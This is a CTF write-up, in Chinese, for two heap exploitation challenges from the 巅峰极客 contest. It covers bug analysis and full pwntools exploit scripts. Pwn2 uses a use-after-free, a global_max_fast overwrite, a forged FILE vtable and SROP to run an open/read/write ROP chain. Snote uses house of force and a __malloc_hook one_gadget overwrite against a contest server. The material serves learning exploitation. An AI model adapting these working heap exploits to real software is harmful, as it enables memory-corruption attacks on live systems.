巅峰极客 pwn 题解

pwn

很骚的一题,又是将system禁用的堆类型题目

1
2
3
4
5
6
7
8
9
10
11
12
13
$ seccomp-tools dump ./pwn2 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x04 0x00 0x40000000 if (A >= 0x40000000) goto 0008
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

程序功能:

1
2
3
4
5
1. Add note
2. Delete note
3: Show note
4. Change
5. Exit

但是change函数并没有啥用,因为它只会读随机数进去fread(v3, 1uLL, *v2, stream);但是谁能想到最后就是拿它来打印flag的呢

Add没什么特别,除了不能申请fastbin范围地堆外

delete有UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delete()
{
__int64 v0; // rbx
unsigned __int64 v1; // rax
void *v2; // rdi

v0 = qword_2020B8;
puts("input your index:");
v1 = sub_E60();
if ( v1 > 0xF || (v2 = *(void **)(v0 + 16 * v1 + 8)) == 0LL )
{
puts("out of range or note not exist");
exit(-1);
}
free(v2); // UAF
return puts("note delete success!!!");
}

show函数也是真实可用的,那么泄露地址就很简单

不过这题跟常规题的差别就在于,禁用了system,所以很香的onegadget就没啥用了,这种orwheap只能通过srop来打印flag

1
2
3
4
5
思路:
1、通过UAF泄漏出堆、libc地址
2、攻击global_max_fast使得可以进行fastbin attack
3、伪造stream的table执行setcontext + 0x35,再跳转到构造好的orw rop链上打印flag
(因为stream结构体是放在堆上的,所以可以直接利用UAF将它申请出来修改)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
local = 1
if local:
p = process('./pwn2')
elf = ELF('./pwn2')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x2020B8)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(id,size,data):
sla("Choice:",'1')
sla("index:",str(id))
sla("size:",str(size))
sla("context:\n",data)

def delete(id):
sla("Choice:",'2')
sla("index:",str(id))

def show(id):
sla("Choice:",'3')
sla("index:",str(id))

def change(id):
sla("Choice:",'4')
sla("index:",str(id))

# link libc and heap
add(0,0x88,'a')
add(1,0x88,'b')
add(2,0x88,'c')
add(3,0x88,'d')
delete(0)
show(0)
ru("note[0]: ")
main_arena = u64(rc(6).ljust(8,'\x00'))-88
libc_base = main_arena - 0x3c4b20
global_max_fast = libc_base + 0x3c67f8
setcontext = libc_base + libc.symbols['setcontext']
pop_rax = libc_base + 0x33544
pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
syscall = libc_base + 0xbc375
ret = libc_base + 0x937

log.warn("main_arena --> %s",hex(main_arena))
log.warn("libc_base --> %s",hex(libc_base))
delete(2)
show(2)
ru("note[2]: ")
heap_base = u64(rc(6).ljust(8,'\x00'))-0x230
log.warn("heap_base --> %s",hex(heap_base))
delete(1)
delete(3)

# global_max_fast attack
add(4, 0x238, ('a' * 0x88 + p64(0x91) ) * 3)
payload = p64(0) * 8 + p64(setcontext + 0x35)
payload = payload.ljust(0x70, 'c') + p64(0) + p64(0x21)

add(5, 0x88, payload)
delete(4)
delete(1)
add(6,0x238,'a'*0x80 + p64(0) + p64(0x91) + p64(global_max_fast-0x10)*2)
add(7,0x88,'a') # unsorted bin attack

delete(4)
add(8,0x238,'a'*0x80 + p64(0) + p64(0x231))
delete(1)
delete(4)
add(9,0x238,'a'*0x80 + p64(0) + p64(0x231) + p64(heap_base)) # fastbin attack
# orw-pay
flag_addr = heap_base + 0x3d0
pay = p64(pop_rax) + p64(0x2)
# pay += p64(pop_rdi) + p64(flag_addr)
pay += p64(syscall) #open("flag")
pay += p64(pop_rdi) + p64(4)
pay += p64(pop_rsi) + p64(heap_base + 0x100)
pay += p64(pop_rdx) + p64(0x100)
pay += p64(pop_rax) + p64(0)
pay += p64(syscall) #read(fp,buf,0x100)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rax) + p64(1)
pay += p64(syscall) #write(1,buf,0x100)
pay = pay.ljust(0x100,'b')
pay += "flag\x00"
add(10,0x228,pay)
vtable_addr = heap_base + 0x480
frame = SigreturnFrame()
frame.rsp = heap_base + 0x2d0
frame.rip = ret
frame.rdi = flag_addr
frame.rsi = 0
frame.rdx = heap_base + 0x1000

pay = str(frame)
pay = pay[:0xd8] + p64(vtable_addr) + pay[0xe0:]
add(11,0x228,pay)
gdb.attach(p,"b *0x555555555100")
change(0)
# debug()

p.interactive()

snote

常规题,4个功能,add,show,free,edit,edit中可以溢出8个字节

1
2
3
4
5
if ( n + 8 < nbytes )
{
puts("Too long...");
exit(1);
}

delete 中存在UAF,且只能用一次

1
2
3
4
5
if ( dword_202010 > 0 )
{
free(ptr);
--dword_202010;
}

思路:house of force将top chunk放到unsorted bin,申请出来show泄漏libc地址;利用UAF申请到fack chunk修改malloc_hook为onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("55fca716.gamectf.com","37009")
elf = ELF('./pwn')
libc = elf.libc
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def init():
sla("name?\n","R4bb1t")

def add(size,data):
sla("> ",'1')
sla("> ",str(size))
sla("> \n",data)

def show():
sla("> ",'2')

def delete():
sla("> ",'3')

def edit(size,data):
sla("> ",'4')
sla("> ",str(size))
sda("> \n",data)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
init()
add(0x28,'a')

edit(0x30,'b'*0x28 + p64(0xfd1))
add(0xfe0,'b')
add(0x68,'')
show()
main_arena = u64(rc(6).ljust(8,'\x00'))-0xa-1504
libc_base = main_arena - 0x3c4b20
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
onegadget = libc_base + one[2]
log.success("main_arena --> %s",hex(main_arena))
log.success("libc_base --> %s",hex(libc_base))
log.success("fack_chunk --> %s",hex(fack_chunk))
delete()
edit(0x68,p64(fack_chunk))
add(0x68,'a')
pay = 0x13*'a' + p64(onegadget)
add(0x68,pay)
sla("> ",'1')
sla("> ",str(32))
# gdb.attach(p)
p.interactive()
0%